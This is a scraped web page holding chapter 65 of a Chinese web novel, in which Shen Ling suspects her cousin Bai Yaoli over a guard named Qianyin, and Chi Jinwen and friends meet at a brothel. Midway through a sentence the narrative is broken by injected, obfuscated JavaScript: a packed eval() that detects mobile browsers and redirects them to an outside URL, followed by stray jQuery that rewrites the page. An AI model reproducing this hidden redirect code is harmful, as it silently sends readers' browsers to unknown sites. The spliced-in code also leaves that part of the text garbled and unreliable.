默认冷灰
24号文字
方正启体

65. 察觉

作者:竹清安本书字数:K更新时间:
    窗外阳光明媚,清风徐徐。


    沈泠因得体寒,身上还穿着保暖的狐裘,哪怕是屋内摆了火盆也没脱下来。


    她的肤色莹白,雪白的一圈狐毛围在她的脸侧,目光淡淡,濯濯冷清:


    “表兄?”


    白尧礼看着沈泠,温和的笑意凝固在唇角:


    “千银?”


    阳光照进茶盏,清透的茶水中跃动着粼粼光点。


    “啊……”


    白尧礼执起茶盏,手腕轻轻晃了晃,看着茶盏中的茶水泛起涟漪,佯装思索片刻后道:“好似有些印象,应该是白府里的一个暗卫。”


    “暗卫?”


    沈泠蹙着眉:“只是个暗卫?”


    暗卫如何能在白大公子的院落中修建密道?


    能在白家的眼皮子底下做出那般大的阵仗,而且据查探,千银似乎还跟季珩有千丝万缕的关系。


    怎么都不会是一个简单的暗卫。


    “他为何不能只是个暗卫?”


    白尧礼唇角噙着笑,温润的眼眸笑得眯起,一丝寒光转瞬即逝:“说起来,白府暗卫的名字一般不会外传。表妹是从哪里得知他的名字的?”


    “可是他先前冒犯了表妹?”


    沈泠听见他的话,目光一顿。


    不知是不是她的错觉,她感觉白尧礼似乎在试探她。


    落在她身上的目光像是带着寒刺,可她抬眼一看,却瞧见白尧礼还是那副温和有礼的模样,眉目间隐隐带着担忧:


    “若他冒犯你,我回去便去惩治他。”


    沈泠的目光凝在白尧礼身上,带着淡淡的探究。


    “不必。”


    她笑了笑:“季珩四年前在衡京掀起了那般大的风浪,听闻他近日将归,我派人调查他的底细,正好瞧见了千银这个名字。消息说他与白家有关,便找表兄来问一下。”


    “若那人真是季珩安排在白家的细作,得多加小心些才是。”


    “什么?!”


    白尧礼忽地紧张起来,浅抿了口茶水,随后起身理了理衣袍:“表妹放心,我这就回去将那人揪出来细细审问。季珩的人,绝不容许出现在白家。”


    “嗯。”


    沈泠起身行礼:“表兄慢走。”


    白尧礼的身影消失在门外。


    沈泠走至窗边,垂眸看着楼下匆匆踏上马车的白尧礼,眼底神色晦暗不明。


    有问题。


    从她方才提到千银开始,表兄就一直在避开跟她正面说千银的事情。


    为何一口认定他就是个普通的暗卫?


    若是个不起眼的小暗卫,依着表兄的性子,定是不会多在意的,至多不过知晓一个名字。


    但在她提到千银,质疑他的身份不简单时,白尧礼直接斩钉截铁地说他只是府中一个普通暗卫。


    不对劲。


    还有她隐约感受到的目光和异样,全都不对劲。


    沈泠垂着眸,羽睫在眼前投下一片阴影,将眼底的沉色掩盖了下去。


    如今看来,白尧礼那边的动作也要查一下了。


    沈泠曲指敲了敲窗框。


    下一瞬,林笙便出现在她身后,单膝跪地:“小姐,可是要去跟着白公子?”


    “现在先不用,若是刚出扶月楼便跟着,表兄一猜便知晓是我做的。”


    沈泠看着马车渐行渐远,消失在长街尽头,声音淡淡:“去麟阙挑几个隐匿功夫好的,趁着表兄没察觉时藏在他身边打探消息。再吩咐祝柏近日在白府附近蹲守,若是表兄出府,将他的行踪尽数汇报上来。”


    “是。”


    林笙颔首。


    “对了小姐,祝霓有消息了。”


    林笙话音刚落,沈泠忽地转过头来,匆匆走到林笙面前问道:“祝霓找到了?她在哪里?!”


    “没找到人。”


    林笙摇了摇头,从袖中掏出来一块玉佩:“但是我在药堂的角落发现了这个。”


    沈泠将玉佩接了过来。


    极好的蓝月玉佩,上面细细刻着鸾鸟抱日纹,顶端处的络子甚至还是她亲手打上去的。


    这是迟锦闻十八岁那年,她特地请人给他打造的生辰礼。


    里面有个小机关,只要按下鸾鸟的左眼,便能射出毒针,让中针者浑身发软,全然丧失反抗之力。


    林笙抬眸瞧了眼那块玉佩,又补了句:


    “属下还去问了当时巡逻的人,他们说曾看见金阙阁主去了药堂,然后没多久小姐你就……”


    沈泠伸手制止了林笙。


    她大概知道这是怎么一回事了。


    “迟锦闻……”


    沈泠冷笑一声:“你真是好样的。”


    -


    春香阁。


    迟锦闻黑着脸坐在桌前,抬眸看着面前笑得放肆的周宴,目光冷得像冰:


    “周宴,你笑什么?”


    “不笑什么。”


    周宴打开折扇,将自己的脸挡住一半,忽地贱兮兮又提了一嘴:“欸,再跟我说说沈泠上次是怎么拒绝你的呗?”


    他翘着腿坐在桌前,扒拉着手指,视线放空:


    “一次、两次……哎呀!你这可是第八十次被她拒绝了!”


    “周宴!”


    迟锦闻的手紧握成拳,猛地拿起桌上的酒盏,直接朝周宴丢过去,额上青筋凸起:“你是不是想死!”


    “欸~俗话说的好,九九归真。”


    周宴伸手熟稔地接过酒盏,轻车熟路地给他倒上酒丢了回去:“保不准你下次再跟她说一次,你就成功了呢?”


    周宴说得真诚,但抬眼看他那张脸,眉眼间满是明晃晃的幸灾乐祸。


    迟锦闻无语地斜瞥了他一眼,伸手接住酒盏,将酒猛地灌进嘴里。


    “欸,迟公子,这酒可不是这么喝的。”


    沉鱼端着酒水糕点,袅袅走进来,伸手虚虚拦住迟锦闻喝酒的动作:“这酒烈,若是一下子喝太多,怕是过不了多久便要醉了。”


    “不妨事。”


    迟锦闻不着痕迹地往后缩了缩,跟沉鱼隔得远了些:“这酒再烈,还能比清桂酿的烈么?”


    沉鱼摊摊手:“那公子就请自便吧。”


    反正她已经提醒过了,他不听也不干她的事。


    “沉鱼别管他。”


    周宴瞧见沉鱼来,瞬间便坐直身子,笑意吟吟道:“来,坐我旁边来。”


    沉鱼无奈地叹了声,走到周宴身旁坐下,柔柔朝他笑:


    “二位公子不用忙活公务么,怎么又来了?”


    “我有个什么公务,混吃等死的废物罢了。”


    周宴斜倚在椅背上,朝着迟锦闻的方向努了努下巴:“是他。前几日跟心上人表心意,又被拒了,特地来找你问下缘由。”


    迟锦闻黑沉着脸,将这些日子发生的事情全都托盘而出。


    当然,他有意的抹除了有关祝霓的那一段。


    “就是这样。”


    迟锦闻的脸上浮出醉酒后的酡红,眼尾渐渐升起红意:“苦肉计、美男计……我什么都试过了,为什么她的眼里还是只有别人,还为了个相识不久的画师质问我……”


    沉鱼听完全程,垂眸思索良久。


    “迟公子。”


    沉鱼颇为严肃地看着迟锦闻:“就目前情况来看,你跟沈小姐之间应该是有误会在。”


    迟锦闻和沈泠的对话,分明刚开始时一切都很顺利,但只要说到情爱,就总是能偏到奇怪的地方去。


    依据沉鱼多年来在楼中分析姑娘们感情问题的经验,这种两人驴唇不对马嘴的对话,多半是因为有误会,所以一方无论如何都不相信另一方的话。


    “误会?”


    迟锦闻紧皱着眉,明朗的凤眸拧起:“我跟阿泠能有什么误会?我恨不得把所有的东西全都给她。”


    “问题就在这里。”


    沉鱼轻叹一声:“你根本不知道她在意的是什么。”


    “如果周公子先前跟我说的事没错的话,我能看出沈小姐是一个极为重情的人,亲人、朋友……她都极为在意。”


    “公子可是威胁沈小姐周围的人,叫他们离她远些了?”


    迟锦闻像是被人戳中了心思,忽地浑身一僵。


    他沉着脸,缓缓颔首。


    “这就是问题。”


    沉鱼像是看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610966|164597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着一块朽木,颇为恨铁不成钢地摇头道:“你以为你赶走的是情敌,只要他们离沈小姐远些,沈小姐就不会被他们抢走。”


    “但沈小姐是何等聪明的人?”


    “你们二人年少相识,对对方近乎了如指掌,沈小姐只要一猜或者稍微查查,便能知道事情是您干的。”


    “你以为那些男子是虎视眈眈沈小姐的恶狼,但或许他们只不过是沈小姐的朋友、兄长抑或是下属之类的存在,你乱吃飞醋做了一堆乱七八糟的事,又在后面对沈小姐撒谎隐瞒,时间长了,自然会有所隔阂。”


    沉鱼说着,渐渐有些口干舌燥。


    周宴心领神会地倒了盏清酒给她,沉鱼一口饮尽,眉心微蹙:“不过误会应该不止这一个。”


    据周宴的种种描述,沈小姐应该还是对迟公子有感情的。


    但为什么数年间从未承认过此点,还对迟公子的表白视作玩笑话?定是有缘由的。


    沉鱼轻张樱唇,还想说些什么。


    就在这时,门口处传来敲门声,云莺的声音在门外响起:“沉鱼,有贵客找你。”


    贵客?


    这个时候的贵客……


    沉鱼目光一沉,起身对二人袅袅行了一礼:


    “沉鱼先去招待贵客,二位稍坐片刻,待会儿楼中会另派人来。”


    沉鱼走出包厢,方才关门,便被人抓住手腕。


    沉鱼的手被扯得生疼,却还是强忍着,任由那人拉着她走到远处的另一个包厢。


    “砰——”


    沉鱼的后背猛地撞上冰冷的墙面,还没来得及反应,白皙脖颈上又覆上了一只大手,将她死死禁锢住。


    “沉鱼。”


    白尧礼戴着面具,露出来的一双眼睛散去温润,变得冰冷寒凉:“你是想死吗?”


    白尧礼丝毫没有留情,像是要活活将她掐死。


    沉鱼的呼吸渐渐微弱,双手无力地扯着白尧礼的手,眼神恳切:“属下……不知……所犯何罪……”


    “呵,不知。”


    白尧礼俯身凑到她的耳畔,像是咬着牙般狠道:“将我的命令抛之脑后,还不知所犯何罪?”


    “我看你是……清楚得很啊。”


    与此同时,另一个包厢内


    周宴不知从哪里拿出来一套女子衣裙,轻车熟路地套在身上。


    他装模做样地拿出块面纱覆在面上,回头朝着迟锦闻挑眉浅笑:“如何?是不是闭月羞花、倾国倾城?”


    迟锦闻:……


    “怎么过了这么多年,你的癖好还是没变?”


    “你懂什么。”


    周宴将自己的发冠取下,转而用金簪将墨发挽成女子发式,画眉点朱,恍然一瞧,倒还真有一副绝世美人的样子。


    就是长得太高大了些。


    “我这不是为了沉鱼么?”


    周宴看着包厢门外,轻叹一声:“在外时是周宴,是她的蓝颜知己,在内便是她身边最得力的刀,帮她扫清障碍。”


    迟锦闻双臂环胸,散漫地靠在柱前:“值得吗?”


    周宴顿了下,转身回他:“你在暗中为沈泠做了那么多事,值得吗?”


    迟锦闻不说话了。


    周宴笑了笑,起身整理了下微皱的裙摆。


    这春香楼,可没有外面看着那么光鲜。


    若是没有他在暗中保护,不知沉鱼要受多少伤,被多少人欺辱。


    “行了,我先去找她去。”


    周宴刻意压着声音,听着雌雄莫辨,倒是颇有几分韵味:“迟公子~咱们下次再聚~”


    “燕儿可是会一直想您的。”


    周宴不知哪里来了逗弄心思,倾身靠在迟锦闻身上娇笑,声音掐得一声比一声细:“您也要一直想燕儿啊~”


    迟锦闻颇为嫌恶地翻了个白眼:“滚……”


    还未等他说完,包厢门忽地被人一脚踹开。


    “欸欸欸,姑娘,这屋里有人了——”


    沈泠伸手拂开阻拦的姑娘们,径直走进包厢,目光凝在里面“依偎”着的两人身上,冷意彻骨。


    “迟锦闻。”


    她冷声唤他:“出来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)